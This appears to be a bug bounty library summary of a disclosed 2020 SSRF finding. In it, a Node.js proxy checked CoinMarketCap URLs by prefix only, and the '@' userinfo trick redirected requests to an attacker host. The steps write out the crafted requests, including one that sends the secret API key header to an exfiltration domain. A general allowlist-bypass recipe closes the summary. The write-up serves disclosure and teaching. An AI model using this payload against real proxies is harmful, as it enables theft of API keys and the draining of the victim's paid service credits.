# Leveraging an SSRF to leak a secret API key

Proxy validating CoinMarketCap URL by prefix only; `@` userinfo trick redirected request to attacker host, leaking the secret X-CMC_PRO_API_KEY header.

- Payout: $1,000
- Severity: medium
- Program: -
- Credited: Julien Cretel
- Disclosed: 2020-06-22
- Write-up quality: 7/10
- Original: https://jub0bs.com/posts/2020-06-23-ssrf/
- Library page: https://bugbountylibrary.com/r/blog%3Ajub0bs-com-posts-2020-06-23-ssrf
- Tags: domain:web impact:data-leak kind:bounty platform:blog sev:medium tech:nodejs technique:recon technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** Node.js URL-fetching proxy endpoint (proxy.example.org)
**Root cause:** Proxy validated the user-supplied URL with a naive prefix check (`https://pro-api.coinmarketcap.com`) instead of parsing it, so an `@` userinfo segment moved the real host to an attacker domain.
**Steps:**
1. Observe frontend calls `GET /https://pro-api.coinmarketcap.com/v1/...` on proxy host
2. Confirm non-matching hosts return `400 Bad Request`
3. Send `GET /https://pro-api.coinmarketcap.com.computer` -> `502 Bad Gateway`, indicating prefix-only check
4. Send `GET /http://pro-api.coinmarketcap.com` -> `400`, confirming scheme is part of the prefix
5. Send `GET /https://pro-api.coinmarketcap.com@exfil.jub0bs.com` -> `502`, request sent to attacker host
6. Inspect attacker server logs: request arrives with `X-CMC_PRO_API_KEY` header containing the secret key
**How found:** Noticed a full URL embedded in the path of a proxy request in Burp history; hypothesized the proxy exists to hide the API key; probed with off-domain hosts (400) and prefix-matching hosts (502), inferring a prefix-based check, then applied the RFC 3986 `@` userinfo trick.
**Exploitation:** Attacker triggers the proxy with a crafted URL whose authority uses `pro-api.coinmarketcap.com@attacker-host`; the proxy fetches the attacker host while attaching the target's CoinMarketCap API key header, exfiltrating the key to attacker-controlled logs.
**Escalation:** Stolen key used against `/v1/key/info` to confirm Startup plan; attacker could exhaust daily credit in <12 min, causing stale exchange rates for up to ~24h.
**Insight:** Differential status codes (400 vs 502) reveal whether a URL allowlist is a naive prefix/string check rather than a parsed-host check; then use `expected-host@attacker-host` to relocate the real host while satisfying the prefix.
